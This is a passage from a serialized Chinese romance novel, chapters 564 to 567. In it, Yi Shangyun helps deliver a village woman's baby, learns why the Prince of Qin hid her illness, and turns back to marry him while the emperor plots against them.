轩辕翰注视着手里的字,道:“云儿,都是本王的错。你一定要活着,一定要活着。求你一定要再给本王一次机会,这次,本王一定不会再放开你。” 说完,缓缓抬起头来再次看向面前的月老像。 平日里那般英勇神武,杀伐果断的人,此刻,似是也只能寄希望于面前这尊冰冷的雕像了…… 附近不远处,有一偏僻的小村庄。 夜里,月上枝头时分。 在一农户家中,衣上云终于缓缓睁开了眼睛,怎料竟奇迹般地看到了衣上坤的脸。 衣上云顾不上虚弱的身体,急急起身下床跪倒在其脚下,哭着抱歉极了地道:“父亲,对不起,终是云儿连累了整个衣府。云儿知道自己早就不应该再活在这个世上,可原来就连死,也是这般不易。” 说完,便不停地开始重重朝其叩首:“对不起,对不起,对不起……” “好孩子,你的身子尚未恢复,还很虚弱,起来,快起来。这次若不是易三少将为父安顿好后及时回去寻你,你若有个三长两短,为父这辈子都不得心安。”衣上坤说着,连忙伸手去扶她。 “对不起,对不起……” 事到如今,除了叩首致歉,衣上云显然不知自己还能说些什么,做些什么。仿佛无论如何,都无法弥补自己所犯下的错,和带给衣府的巨大灾难。 “起来,你先起来呀,起来听为父跟你说。” 衣上坤着实使了好大力才将其扶起身来。 “不要这么说。这些年,宫里尔虞我诈,勾心斗角的日子为父也早已经过够了,离开也好。如今,我只自责没能照顾好你,有愧于恩人所托。” 衣上坤将衣上云一边扶起身来,一边道。 衣上云道:“不,父亲切莫说这样的话,以前是云儿不懂事,让父亲伤心了。这些年,若不是父亲庇佑,云儿怕是早就没命了。” “唉……”衣上坤重重地发出一声叹息。 这时,衣上云忽然说:“父亲,跟女儿讲讲关于我娘的事情吧。” “你娘……” 衣上坤一边回忆着一边道:“你娘,她是个同你一样,勇敢、坚强、又善良的女人。只是,为父怎么都没有想到,恩人竟会是东宁国尊贵的嫡皇后。那一年……” 衣上云听着衣上坤讲述着关于自己生母是如何艰难地生下自己,尔后丧命,泪水止不住默默地流下。 第五百六十四章:柴门夜产子 “原来真的是她做的!” 听了衣上坤对有关其生母所有回忆的讲述,衣上云这才明白之前自己的脸,竟真是自己生母亲自所为。 还特意嘱咐其务必让她远离西秦皇族中人,想来,定是怕被人认出其身份,以至她命运多舛。 原来,母亲一直是那样的爱她,只愿她落入寻常百姓家,做一个寻常人家的女子。 可最终,她还是没能逃出命运的安排,遇到了轩辕翰。 父女俩一起各自沉浸在自己深深的思绪里。 许久后,衣上云伸手轻轻抹去了脸庞的泪痕。 抬起头来仰望着漫天繁星,吸了吸鼻子,唤了一句:“父亲……” 闻其轻唤声,衣上坤微微低垂的眼眸稍抬了起来。 衣上云心里犹豫了一下,终开口道:“其实……云儿的母亲,她不仅仅是东宁国的嫡皇后,她……便是当年西秦国遗失的守护者后人。” “什么?” 闻声,衣上坤顿看向衣上云的侧脸,瞬间惊呆了。 可待刚一反应过来,却更觉不可思议极了地道:“如此说来,那你岂不也是……” 此时,他显然就连想都不敢继续往下想去。 衣上云泪眼婆娑地看着他的眼睛,让人心疼极了。 衣上坤遂自责不已,仰天叹声道:“老天爷,怎么会是这样!早知如此,老夫当年说什么都不该带她上皇城来,应早早带她离开西秦,走的越远越好才是!老夫还以为恩人只是有什么官家的仇家,自以为能护好她的孩子……” 如今显然说什么都为时已晚,他忽又想起问:“对了,那秦王殿下,他可已经知道了你是守护者后人的身份?” 衣上云摇了摇头:“女儿也不知她是否知道?只是……在城南桃花店的时候,太妃娘娘曾经怀疑过。” “太妃娘娘……” 衣上坤眉头紧锁,稍一思量,急忙拉起衣上云的胳膊立起来,道:“走,我们必须马上离开这里,秦王定是已经知道这一切了。西秦实在是太危险了,我们还是尽早离开这里才是。” 而父女俩的一席谈话,被前来欲探病的易三少刚好俱都听到。 “丫头她……她竟就是……西秦守护者后人。” 对此,易三少自是也万万没想到,遂立在原地里惊讶不已。 一看到衣上坤拽着衣上云,俩人一道脚步匆匆地朝内屋走去,便连忙闪躲着退了出去。 “咚咚咚” 就在衣上坤快速地整理好行装,带着衣上云正欲出门去找易三少的时候,门外忽然传来一阵急促的叩门声。 “谁?” 闻声,衣上坤本能一般地将衣上云一把拉到自己的身后挡起来,警觉地问。 “救命,救命啊!” 霎时间,门外传出一微弱的求救声。 衣上坤遂放下行李,过去开门查看。 只见一拄着拐杖,衣着朴素,白发苍苍的看起来约莫六旬的老妪颤颤地出现在眼前。 见来人面孔尤为陌生,衣上坤将其稍一打量,问:“请问老人家您是?” 老妪解释说:“贵人打扰了,我乃这座院子的主人。” 衣上坤恍然明白过来,朝其行礼:“原来您就是屋主,真是失敬失敬。” 老妪回礼,道:“贵人不必客气。之所以深夜打扰贵人,是因为我的孙媳像是要生了。我年龄大了,手脚都不灵活,见着你们是读书人,可否请您帮忙看看?” 衣上坤遂望了望院子里的一间透着淡淡烛火的屋子,道:“生孩子?那老人家您该赶快去找村里的稳破过来才是啊!在下虽也略通医术,但却并不专于接生,怕是帮不了你。” 老妪无奈地道:“贵人有所不知,我们这个村子极为偏僻,鲜有人知。全村也没有几户人家,并不曾有稳婆,基本每家都是婆婆给儿媳接生,儿媳给孙媳接生,可我的儿媳她……” 老妪说着,忽然擦拭起眼泪来,顿了顿,继续道:“前不久,我的儿子和儿媳先后都病死了,就连唯一的孙儿也……如今,只有我与孙媳俩人相依为命……” 衣上坤看看时间已经很晚了,此时他的心里只着急地想要离开,哪里还有其他心思。 于是便从身上摸出一些银子,塞到老妪手中,借口推脱:“老人家,在下这里有些碎银,您拿着还是赶紧另寻高人吧,在下虽也很是同情你的遭遇,也很想帮你,可实在是……” 就在这时,老妪忽一把大力地甩掉了衣上坤递过来的银子,且扬声生气地道:“我不要你的钱,我只想留下孙儿唯一的血脉。否则,我这把老骨头就算是死,也无颜面对祖上的列祖列宗。” 衣上坤顿时被其举动震惊到,一时间里,就连周围空气似是都被凝结住。 “可否让我看看?” 忽然,一直呆在屋里的衣上云走了出来。 衣上坤转身瞪了她一眼,喝声阻止其道:“云儿,莫要胡闹,快回去!” 老妪惊了一下,问道:“这位小姐是?” 衣上坤道:“她是我的大女儿,云儿。” 老妪将其上下打量了一番,语气有些质疑:“这位小姐看上去尚还未出阁,这妇人生产,小姐真的可以吗?” 衣上云上前走到老妪面前,咬了咬牙,似是已给自己鼓足了勇气一般,道:“老人家可否先带我去看看?” 老妪似是也无其他更好的方法,虽说她亦知要碍着男女大防,可总归性命最是要紧。但凡还有一点点其他办法,她也不会深夜向一陌生男子求救。 “然如果面前的这个女子能做到,对她来说,无疑岂不更好?” 心里做好了决定,老妪便开始挪步在前面带起了路。 衣上坤依旧不放心地道:“云儿……” 衣上云回眸朝其微微一笑:“父亲放心!” 可经过一番仔细的检查后,衣上云的脸上却露出了沉沉难色。 老妪看着孙媳一脸煞白地躺在床上,似是被强烈的疼痛感折磨的就连哭喊的力气都没了一般。 于是便着急地问:“怎么样?我的孙媳怎么样了?” 衣上云的脸色颇为难看,只问:“老人家,您孙媳之前是不是经常会腹痛?” 老妪想了想:“腹痛……好像是要比一般孕妇多一些。” 老妪见衣上云的表情好像有些不对,便揣测着问:“怎么样,情况是不是……不好?” “果然是这样。” 衣上云自顾自,似是肯定了些什么。 遂回过神来回答老妪,安慰其道:“没有,老人家不必担心,胎儿很好。只是……有些事,容我出去与父亲稍作商议才能定夺。” 老妪点了点头:“如此,有劳小姐。” 衣上云微笑着,起身紧忙出了门。 一见衣上云走出来,在门外已等候多时的衣上坤与易三少二人急忙上前异口同声关切地道:“怎么样了?” 终于再次见到了易三少,衣上云抱歉地道:“三少。” “对不起。”易三少虽然心里也的确不舒服,可那毕竟是他的丫头,他又怎会真的生她的气。 俩人遂目光相对,相视一笑。 衣上云急接着说:“有一点,方才我检查产妇的腹部,想要确认胎儿方位,发现触及其腹部一处时,产妇疼痛感尤为强烈。我怀疑,此妇人腹部有一结块,患有症瘕……” 未及其将话说完,二人再次异口同声,面面相觑着吃惊极了地开口。 “症瘕” “症瘕” 衣上云并不知二人为何如此吃惊,只再次非常确定地道:“对,我亦询问过老人家,确定是症瘕。通常患有此疾的病人,都是不能怀孕的。可这女子却是到如今生产的时候才发现,然胎儿却安然无恙,此乃真是奇迹也。” 衣上云甚是感叹生命的伟大。 然衣上坤与易三少此时却是俱都心里七上八下起来。 就在这时,衣上云忽然一把拽住了衣上坤的胳膊,衣上坤吓的额头都渗出了一头冷汗。 衣上云见了,问:“父亲你很热吗?” 说着,便紧忙掏出自己的绣帕来欲帮其擦拭。 衣上坤一把将其挡住,道:“为父自己来。” 紧接着,衣上云朝其认真地央求说:“父亲,你就帮帮那个可怜的女子吧?” “我……为什么是为父,而不是你?”衣上坤吃惊极了地看向她的眼睛。 过去多少个日子,每每想起龙虎城疫情中那个离世的孕妇,想起她自己那未曾见过面的孩子,她都害怕极了。 “我做不到,我真的做不到。” “你可以,你一定可以,想想你的母亲。”衣上坤试着鼓励她走出阴影。 “丫头,相信自己,快去吧,孩子在等你。” 伴随着易三少最后的催促,衣上云终于缓缓挪动脚步朝屋内走去。 昏黄的烛火摇曳下,她颤颤巍巍地捏起一根银针来。 她想起自己的生母,在自己生命的最后一刻,仍然拼命地努力将自己带到这个世界。 她想起那位曾经帮助自己离开龙虎城的独居妇人,尽管所有人早早便就给她腹中那尚未降世的孩子判了死刑,可她还是坚持要给那孩子哪怕只是一线来到这人世间的机会。 尽管最后结果不尽人意,但她的勇气已经诠释了一个母亲对孩子的全力以赴。 她想起在龙虎城疫情发生的初期时,尽管那妇人已经很努力的去配合治疗,可最终还是未能等到孩子出生,母子二人俱都离世。那时,他的丈夫持刀对着自己,是何等的悲愤交加? 最后,她想到自己却未能全力以赴去护住自己腹中的孩子。 忽然之间,她仿佛在面前的女子身上就像看到了自己的孩子一般,终于下定了决心。 “别怕,孩子,这次,我一定会将你平安地带到这个世上。” 终于,那只在半空中一直颤抖着的手慢慢停了下来。 就是此时,衣上云瞄准穴位,用手里紧捏着的银针朝那妇人的腹部刺了下去。 寂静的夜里。 终于,传出了婴儿呱呱坠地的声音。 第五百六十五章:终是没忍住 “她做到了!” “她做到了!” “我就知道她一定能做到。” 听到一个如此强有力的新生命诞生,所发出的这般洪亮的啼哭声。 一直替其担心不已,在门外不停来回踱步着的易三少满脸欣喜,高兴地叫了起来。 就在这时,衣上云缓缓走出屋子来。 她脚步沉重,一副似是疲惫极了的样子,却是脸上洋溢着笑容,说:“母子平安!” 易三少听了,三步并作两步朝其飞奔了上去,伸开双臂将其紧紧抱住。 激动地道:“丫头,你做到了,你真的做到了!” 而衣上云竟渐渐地眼中含起泪来,像是终于明白了什么似的,只怔怔地望着其身后的衣上坤。 衣上坤朝其亦会心地笑了笑。 心中却是暗自思虑起来,衣上云的医术何时竟已精进至此。 第一次面对且是如此险而又险的产妇,竟能处理的如此妥当,怕是一个妇科熟手,也未必能如此。 然让他更加倍感欣慰的,则是他相信,衣上云在亲自经历过此番之后,一定能够从她失去孩子的痛苦阴影里慢慢走出来。 殊不知。 一得知衣上云有危险,便立刻联络之前派去跟踪保护衣上云的王府暗卫。 于是,根据暗卫所提供的信息,轩辕翰主仆二人很快便寻到了此处。 在破旧的柴门外,漆黑的角落里,透过篱笆墙上的缝隙,主仆俩将方才院子里所发生的事情都真真切切地看在了眼里。 “生了,生了……” 听到婴儿的啼哭声,程良亦同样惊喜地道。 遂意外又欣喜地看向了身旁的轩辕翰。 而轩辕翰原本亦凝重的眉头,已然不知何时早已悄悄舒展了开来。 待回过神,复又一脸冰冷地开口问程良:“事情可都已经安排妥当?” “殿下放心,属下已经亲自做了画像,安排好人去码头候着,若是那主仆二人去问,便说南下的客人在将走之际,被宫里的人接走了。此时,想必寿伯主仆定已经在盘算着如何进宫寻人了!” 程良回禀道。 轩辕翰再次沉默了一会儿,道:“回府吧!” 程良对此一脸不解,道:“回府?殿下此次不是要来带衣姑娘一起回去的吗?为何又不……” 轩辕翰似是根本就没有听他所说,只恋恋不舍地再一次远远看向院子里的衣上云,仿佛这一眼,便是最后一眼一般。 就在这时,院子里忽然传出易三少紧张急切的呼唤声:“丫头,你怎么了?” 紧接着,衣上坤亦紧忙上前去替其把脉查看,最后说道:“无碍,快将她放到房间里去休息片刻!” “丫头,丫头……”易三少一边将其往屋子里抱去,一边依旧轻唤着。 见易三少进屋,衣上坤方才将目光斜了斜向轩辕翰所在的位置。 就在衣上云方才晕过去的时候,轩辕翰心里一着急,一挪脚,显然已暴露了自己,被衣上坤察觉。 只见他忽然转身,接着走出了门,来到了轩辕翰的面前,朝其拱手行礼道:“秦王殿下!” 轩辕翰着急地问:“云儿她……” “云儿方才第一次见妇人产子,应是太紧张了,并无大碍,休息休息,一会儿便就会醒了!” 轩辕翰实在是害怕极了衣上云哪怕有一点点闪失,方才着实差一点就冲了进去。 此刻听了衣上坤的话,总算是安心了许多。 而衣上坤亦从他此刻尤为替其担心的眼神里,也看到了其对衣上云那般深沉的爱。 待回过神来后,问道:“殿下怎会来此?” 轩辕翰掩饰着道:“本王有事路过,恰巧遇到。” “如此一个穷乡僻壤,几乎被人遗忘的小地方,会有何事需要这般位高权重的王爷亲临?”衣上坤自是知他口是心非。 其实即便不问,他也已经知道定是和衣上云有关。 衣上坤叹息道:“微臣还以为,今生今世,再也见不到秦王殿下了。自打入了宫便事事谨小慎微,可兜兜转转,不想终究还是走到了今日。没想到老了老了,竟然要过起背井离乡的日子。” 轩辕翰却不再说话,只还是有些不放心地望向正散发出淡淡烛光的衣上云所在的屋子。 衣上坤觉察后,亦望向与其同一个方向,缓缓开口说:“微臣今日才发现,这个孩子,着实与昏迷前大不相同。或许,殿下应该对她公平一点儿,许多事不该瞒着她太多,或许她比你想象中的更加坚强勇敢。” 轩辕翰坚定地道:“可本王绝对不允许她有任何危险。” 衣上坤实在不知还能说些什么,唯有一声长叹:“唉……” 听了衣上坤的这席话,轩辕翰忽然若有所思地似是想起了什么,问:“对了,衣药师方才说……云儿……她与以前很不同吗?” 衣上坤回忆着道:“在她不知何故,忽然在府中昏迷不醒之前,许是因为面容影响,她整日大门不出二门不迈,在府中处处谨小慎微,从不与人争什么?就算是被欺负了,也是全都自己隐忍着,仿佛就像不存在一样。微臣也曾有意想传授她些医药之术,怎料她却是学了数年,连基本的穴位都不通。” 可想想今夜所发生的事,衣上坤实在惊诧不已:“可如今,只怕是连微臣的医药术,也未必是她的对手。” 闻此,轩辕翰忽然心里若有所思起来:“苏醒前后完全判若两人,难道真的是与坊间所传说的那道凤凰虚影有关……” 看到轩辕翰似是陷入了某种沉思,衣上坤一次次地轻唤:“殿下,秦王殿下……” 轩辕翰忽地回过神来,道:“许是,云儿她后来突然醒悟了也未必呢!她是个十分聪慧的女子。” 衣上坤笑了笑。 再三思虑,终是开了口,试探着问:“微臣听说秦王殿下在帮皇上寻找失踪多年的守护者后人,不知可有何进展?” 轩辕翰愣了一下,道:“并无任何进展,想必守护者怕是真的已经不在人世了。” “啊?!”衣上坤闻之,顿时朝其惊愣住。 遂在心里想:“难道他真的尚还不知云儿便就是守护者后人的秘密。” 这时,轩辕翰终于心一横,收回了视线与衣上坤告辞道:“时间不早了,本王要走了,衣药师保重!” 衣上坤最后抱起拳来郑重地道:“殿下保重!” 告别了衣上坤,主仆俩上了马。 程良不解地问主子:“殿下,属下不明白,为何殿下明明那样舍不得衣姑娘,却又为何执意要易三少带她走?” 轩辕翰道:“就是因为舍不得,所以不能让她有一丝丝危险。” 程良道:“可与东宁一战,殿下未必会输。” 轩辕翰道:“那梅志瑄难成大事根本不足为惧,本王所担心的,自然不是与东宁之战。” 程良似乎明白了过来:“莫非殿下是怕……皇上。” 轩辕翰沉默了。 程良再一想,道:“可如今咱们不是已经抓到了皇上与太后的把柄了吗?如此还有什么好怕的?” 轩辕翰道:“皇兄一向心思缜密,怕是对此早有防备,且他疑心尤为之重。没有确凿的证据之前,万不可打草惊蛇。云儿不在,许多的事,本王做起来会更无所顾忌,更方便一些。” “可难道殿下就不怕衣姑娘这一走,真的从此误会了殿下,恨您一辈子。”程良忧心地道。 轩辕翰叹了口气,道:“即便让她恨本王一辈子,也总比丢了性命的好。” 俩人说话间,程良忽然发现轩辕翰所往的方向并不是回城的路,便问:“殿下方才不是说要回府吗?” “驾……”轩辕翰却只顾着扬鞭策马。 夜里,衣上云刚一醒过来。 怕夜长梦多,易三少便安排车马将随后到达的衣府其他人一同带着上了路。 “云儿……”马车内,衣上坤欲言又止。 “父亲想说什么?”衣上云努力挤出一抹笑来,问。 思虑再三,衣上坤内心复杂地说:“关于你与秦王殿下之间,你真的决定了吗?” 衣上云终于还是没能忍住渐渐卸去了脸上的淡淡笑容,缓缓收回目光,后又渐渐垂首下去。 悄悄握起搭在膝盖上的两只手来。 衣上坤看了看与衣上云相对而坐着的年氏,继续道:“有些事情,或许并不是你表面上所看见的那样。” 思量许久,衣上云吸了口气,道:“一切都过去了,云儿只希望余生能好好侍奉父母双亲,其余的,都已经不重要了……” 面对如此真诚体贴的孩子,衣上坤实在不知该如何开口,终是没忍住,道:“其实,秦王殿下一直都深信不疑那个孩子是他的,他之所以不要那个孩子了,是因为……因为……” 他承认,他的内心是不想如此年纪了还要举家迁徙,离开故土。 尽管他知道,为了衣上云的安全,为了全家的安危,离开是他最好的选择。 可这么大的事情瞒着衣上云,他觉得这辈子他都不会安心。 思前想后,索性最后脱口说出:“因为你的身子不适合怀孕……” 闻此,衣上云顿看向衣上坤的脸:“父亲你说什么?” 衣上坤实在不忍心见两个如此相爱的人就这样天涯陌路,便解释道:“你患有一种严重的症瘕,体内的结块会伴随着腹中胎儿的生长受到压迫,随时会有破裂危及性命的危险。所以,秦王殿下才决定那么做的。” “为什么?” 第五百六十六章:还好没有丢下他 “为什么?” 好不容易平复了些许的伤心与难过,却在衣上坤的这段话之后,之前所有一切努力瞬间被摧毁。 可话既已出口,便永无再收回的可能。 衣上坤看着衣上云难以置信极了的眼神,继续说:“为父看得出,殿下他心里其实比你更加痛苦。试问这个世上有谁会愿意亲手杀了自己的孩子?他怕你接受不了自己这辈子都不可能有自己的孩子的真相,怕你难过,所以才对你故意隐瞒这一切,宁愿你恨他一辈子。” 顿了顿,衣上坤亦是疼惜地说:“殿下……他是真的对你极好。无论何时,都不想你受到一点点伤害。他知道你不会原谅他,便让为父带你离开西秦,这次太后赐婚的抗旨之罪,他毅然决定独自一力承担,也不知道皇上会如何降罪于秦王府。” 说着,他忽然懊恼极了:“只可惜……你的身子……” 随即,挥起一只拳头来狠狠地砸在了自己的腿上:“唉……” 而坐在对面一直沉默不语,只是眼睁睁看着衣上云难过不已的年氏,早已悄悄流下了心疼的泪水,见状赶忙拭了拭,起身挪坐到衣上云的身旁。 一边轻抚着她的后背,一边安慰道:“云儿,我可怜的孩子。你若是想哭,就哭出来,不要憋着,这样会憋出病来的。” 此时,衣上云的眼里明明早已噙满了泪水,却又咬牙极力隐忍着。 衣上坤夫妇俩见了,心疼极了。 衣上坤气恼不已,道:“老夫早就知道,应该听恩人的话,不该让你与皇家的人有任何接触,一旦有所沾染,必会受其连累。果然,这一天还是来了。” 衣上云却是始终都不言不语,依旧隐忍着。 年氏看到衣上云心里憋的实在难受,便哭着求她:“孩子,你刚小产不久,身子虚得很,这样真的会憋坏的,你哭出来,哭出来呀!” 时间一分一秒的过去,衣上云始终都端坐着一动不动。 不知过了多久。 透过车窗,眼看着前方马上就要到江边了,衣上坤吸了口气,道:“就快到码头了,此去南安想必定是再无归期,事关你的幸福,为父不忍对你有任何欺瞒。如今只希望你心中不要有任何顾虑,全凭自己的心意决定。” 年氏亦紧握着衣上云的手,对其点了点头。 “停车” 在衣上坤的鼓励之下,衣上云终于做出了决定。 而见马车停下,易三少赶忙回马过来问:“丫头,怎么了?” 衣上云探出头来缓缓下车,尔后对易三少认真地屈膝施礼,抱歉地道:“对不起三少,我不能跟你走。” “为什么?” 易三少听了,倏地翻身下马来,上去一把大力地拽住其胳膊惊诧地问。 衣上云着实被其惊了一下,回道:“他默默为我做了那么多,我不能就这样自私地丢下他不管,让他一个人独自去承受这一切。” “那我呢?你可知我一直都是拿自己的命在爱你,你又为何对我如此狠心?” 即便如此,易三少还是压抑着些许内心愤怒的情绪,从未如此认真地看着衣上云的眼睛问。 “对不起……”衣上云看着他的眼睛,只能无奈地说。 “对不起,对不起……我不要听你一次又一次的对我只说这三个字。” 终于,易三少还是愤怒的撒开了手,不耐烦地扬声说。 “对不起。” 然衣上云却似是只能这样说了。 易三少无奈地看了看头顶的天空,似是已对她彻底没了办法。 就在这时,乘着易三少出神,衣上云忽地过去翻身上到了易三少的马上。 顿时,扬鞭离去:“驾……” “丫头,你回来!你不能这样对我。” 待易三少顿回过神来,只得朝其背影大声呼唤。 而衣上云却只自顾自地快马加鞭,扬长离去,早已听不到他的声音。 易三少独自落寞地立在原地,觉得彻底失去了她,心里虽是不愿,可又不得不承认:“终究,我还是输了。” 当东方的天空伴随着繁星渐没,直至天边露出一抹白,大地渐渐从夜幕中苏醒过来。 在城南的城门楼上守了一夜尚未离去的轩辕翰沉声无力地道:“这个时辰,她应该已经离开西秦了吧?” 身旁一直默默守护着的程良回禀:“守卫刚已经来报过,寿伯主仆二人已经进城了,想来衣姑娘定已安全离开。” 顿了顿,又继续道:“今日便是殿下大婚之日,殿下该回去了。” 轩辕翰心中一叹,放眼最后望了望城外寂静的一切,遂深吸了口气,便转身移步从城楼上欲离去。 这时,程良忽然看着朦朦胧胧的前方似是渐渐现出来一个人影。 随之,他甚至都不敢相信自己的眼睛,只怔怔地望着其道:“殿下,殿下……” “如何?”轩辕翰顿足停下,却并未回头。 “殿下快看,那是不是……是不是衣姑娘……” 闻声,只见轩辕翰如同一阵风一般回步近身过来,一手拍在城墙砖上,探身朝其望去。 此生那般熟悉的身影,他怎会识不出:“怎么会……” 随即,嘴角上扬起满脸的兴致,打起精神来,飞一般地奔跑下楼。 “打开城门!” 命人大开城门,朝门外的来人冲了出去。 远远的,只见两个身影紧紧地拥在了一起,轩辕翰一吻封唇。 不知过了多久,衣上云似是被吻的已喘不过气来,轩辕翰方才将她放开,转又紧紧拥住。 衣上云垫着脚尖,趴在轩辕翰坚实无比的肩头,柔柔地开口道:“差一点儿,就差一点儿,我便要永远失去殿下了。” 轩辕翰没有说话。 此刻,能够如此强烈地感受着她的存在,如此紧紧拥着她,已胜过千言万语。 衣上云虽仍旧被他拥地快要喘不过气来,可失而复得的心情早已胜过一切。 她在他耳边责怪地说:“为什么……为什么殿下总是做任何决定都不跟我商量一下呢?你就不怕……” 轩辕翰满心欢喜若狂,闻声竟将她拥地更紧了一些。 生怕自己一不小心手一松,她便就再次从自己的世界里消失。 直到现在,依旧心里后怕着,遂打断了衣上云的话,道:“本王害怕,本王此生从未怕过。可本王却唯独怕你难过,怕伤害你,更怕你离开。然如若离开本王,能让你不受伤难过,你能好好的,本王愿意放手。” 闻声,明明自己已经被拥的喘不过气来,却还紧了紧手中的力气,努力抱紧轩辕翰的腰身,朝其祈求道:“不……不要放,云儿求殿下永远都不要放。” 明明如此舍不得,可事实却是自己日后很难为轩辕翰生儿育女。一念至此,渐渐地,心里忽变得有些消沉起来:“除非,殿下嫌弃云儿不能为您……” 话未说完,轩辕翰仅仅只刚一感觉到了衣上云的手松了一下,便着急地道:“本王不放,本王再也不会放开你,就算是你让本王放,本王也绝不会放开。今生今世……不……生生世世,本王都要和你在一起。” 如此坚定的意愿,温暖的话语,衣上云听了心里倍感欣慰,柔声说道:“可殿下知道,云儿怕是不能为你……” 轩辕翰道:“只要有你,其他一切都不重要,你才是本王的全世界。若是没有了你,这世界便只剩下无尽刺骨的冰冷与孤寂。过去的那些日子,本王再也不想过了。” 衣上云心疼极了地拥紧了他,心里暗暗道:“如此这般寂寞的人,还好没有丢下他。” 而此时,在距离二人不远处,一个偏僻的角落里,有俩双眼睛正在紧紧盯视着。 因为怕轩辕翰察觉,只能在很远的距离看着,却仅凭看到的一切,其中一个人便断定说:“看来,这次的任务又失败了!” 这时,另一人也压低声音说:“应该是了,衣上坤也已经改变了行程,携家眷朝城西方向而去,应是已经回府了。我们还是早早回宫复命,让皇上定夺吧!” 说完,俩人便一道小心翼翼地退了去。 看到这一切的程良,见俩人已离开,方才慢慢朝着轩辕翰身边走了过去。 看到主子与衣上云二人过了这么久,依然如漆似胶般拥在一起,便佯装着发出一阵轻咳声来:“咳咳咳……” 闻声,衣上云慌慌张张地松开搭在他腰间的手,推着他的胳膊,想要挣脱轩辕翰的怀抱:“殿下放手……” 岂料轩辕翰竟一言不发,亦纹丝不动。 衣上云的脸上顿时显现出一阵红晕,继续挣扎着:“松手……殿下……” 过了一会儿,轩辕翰方才沉声说:“本王说过,本王再也不会放开你,就算是你让本王放,本王也绝不会放开。” “不是这样……殿下……”衣上云正想解释。 岂料轩辕翰竟忽然冷不防地一把将衣上云横抱了起来。 转身吩咐身旁的程良:“速传消息回府,今日,本王大婚……” “是”程良听了,满脸喜色地领命跟上。 第五百六十七章:老奴再回宫 很快,衣府所有人并未离开西秦,而是安然无恙又再次回到了城西的宅子里,对外只声称是往城南又添置了些陪嫁的嫁妆。 原本府里就在紧锣密布地准备着,回来更是加紧时间到处张灯结彩,欢天喜地准备着衣上云大婚事宜。 秦王大婚,举国上下,大街小巷,似是无人不知,无人不晓,无人不为此而感到高兴。 此消息很快便传到了西秦皇宫里。 御书房外,回宫禀报的俩人战战兢兢地俯身低低地趴在殿外冰冷的地板上,不知等候他们的将是何等严厉的处置? 殿内,一室寂静。 气氛闷闷地,宛如时下外面雨后这沉闷的天气,让人直觉透不过气来。 只有丝丝缕缕的香烟正袅袅升起,缓缓散开。 果然,璟帝看似端坐在书案前,目光沉静地落在面前书案上展开着的一女子画像上,却是在极力隐忍压抑着心头此刻如烈焰般熊熊燃烧着的愤怒。 然沉默了许久之后,终究还是发作起雷霆之怒来。 “将这俩个没用的废物给朕拖下去即刻杖毙!除此之外,所有参与此次行动的侍卫通通发配边疆,永不得回朝。” 霎时间,俩人求饶的哀嚎声响彻了整个大殿:“皇上饶命,皇上饶命啊!” “皇……”就连其身边的内侍亦是心里为此顿时一惊,想要替那二人求情。 可回头一见那高高在上的主子一脸铁青,怒发冲冠,只怕是这个时候开口,自己的小命也会不保吧! 于是,兀自又默默吞咽下了口水,小心翼翼地收了声。 眼看着自己如此完美的计划,就这样泡汤了,璟帝又怎能不生气。 “对于一个女子来说,丧子之痛,当何其难平!究竟是什么……让她改变了离开的决心?” “到底是谁……改变了她最后的想法?” 可终究,仍是百思不得其解。 一室寂静。 过了会儿,只见璟帝的嘴角微微上扬,脸上忽然露出一抹狡黠的笑来。 “好一个永宁公主,朕还以为这次能借由你的枉死,来引起天下大乱,朕好借机坐收这渔翁之利,没成想到头来竟又是一场白忙活……” “岂有此理?真是岂有此理?” 说着,将重重的一巴掌拍在了案边。 似是若有所思着,顿了顿,素声又道:“看来,朕还真是低估你的力量!” 转念,复又问身旁的内侍:“太后那边,近日可有什么动静?守护者后人查找的进展如何了?” 内侍道:“回皇上,太后那边,目前亦还不曾有关于守护者后人的消息传出!” 璟帝沉默了一会儿,遂命令道:“去传朕的话给皇后,这件事,太后那边,让她务必给朕盯紧了!” “是,奴才这就去给皇后娘娘传话。”内侍领命后,说着便匆匆逃离,退了出去。 璟帝复又再次将目光意味深长地落回到案上的女子画像上,复又极为认真地凝视起来。 他抬起一手,缓缓轻拂过画像上女子粉扑扑的脸颊,自言自语起来。 “你真的尚还活在人世吗?” “朕要去哪里才能找到你?” “快到朕的身边来……” 一大早,皇后便听人来传,太后的头风之疾又复发了。 正准备出门,又接到了璟帝的传话。 于是便一路紧步着来到了永安宫的殿门口,守门的宫女一见,便朝其恭敬地屈膝行礼,道:“给皇后娘娘请安!” “都起来吧!”皇后说着,不经意瞥了一眼,发现今日这些奴才们怎么都在殿外杵着。 “谢皇后娘娘!”宫女一一直起身来。 于是,皇后便接着便道:“听说母后的头风之症今日又发作了,本宫特地过来瞧瞧。母后的头风不是都已经痊愈,许久都未复发了吗,今日为何会又再次发作?是不是你们这些奴才一个个都在偷懒,只顾着凑在外面说闲话,没有尽心照料?” 闻声,一众宫女们复又再次齐齐跪倒在地,怯声道:“皇后娘娘饶命,奴婢们不敢!” 这时,皇后注意到面前跪着的宫女中,有一个眼神似是有些慌张,有意无意地总是在四处闪躲着。 于是便挪了两步站到了她的面前,居高临下地问:“你说,太后娘娘的头风,究竟是因何而复发?” “回皇后娘娘,奴婢……奴婢……”那宫女吓的直低着头,支支吾吾。 见状,皇后身边的侍女上前斥责其道:“大胆,皇后娘娘问话,岂容你吞吞吐吐,是不是想挨板子了?还不快从实说!” 即刻,那宫女便趴在了地上,回禀道:“皇后娘娘饶命,奴婢听说太后娘娘是因为晨起收到了一封信,娘娘她看了那封信后,头风便发作了。” “信?什么信?”皇后疑惑地问。 那宫女不知为何,似是怕的要命,瘦小的肩膀不停的颤抖着,始终不敢抬起头来半分:“皇后娘娘饶命,这个奴婢真的不知,真的不知啊……” 见着这丫头似是并未扯谎,皇后正在思量。 “咔嚓嚓” 这时,忽从殿内传出一阵瓷器落地碎成了片的声音,将其思绪俱都打断。 “是谁在里面?”皇后回过神来问。 “回皇后娘娘,是寿公公!”一宫女答道。 “寿公公……哪个寿公公?本宫听着怎么如此耳生?”皇后回忆了片刻,道。 “奴婢也不太清楚,他好像是今日才入宫的,人都称呼他作寿公公!此刻里面除了寿公公之外,他还带了一位公子来。也正因如此,太后娘娘才将奴才们遣了出来,在殿外守着。至于其他的,奴婢真的什么都不知道,请皇后娘娘明察。”宫女道。 “寿公公……一公子……一入宫,便得母后召见,难道是……”皇后一边重复着这个名字,忽然似是渐渐想起了什么。 “听说很多年前,在城隍庙的那场大火里,母后身边的一名太监不幸也一起被烧死了,难道是他……” “这么多年过去了,他怎么突然又回宫了?莫非……当年这一切都是有人事先计划好的?” “那公子又是谁?” 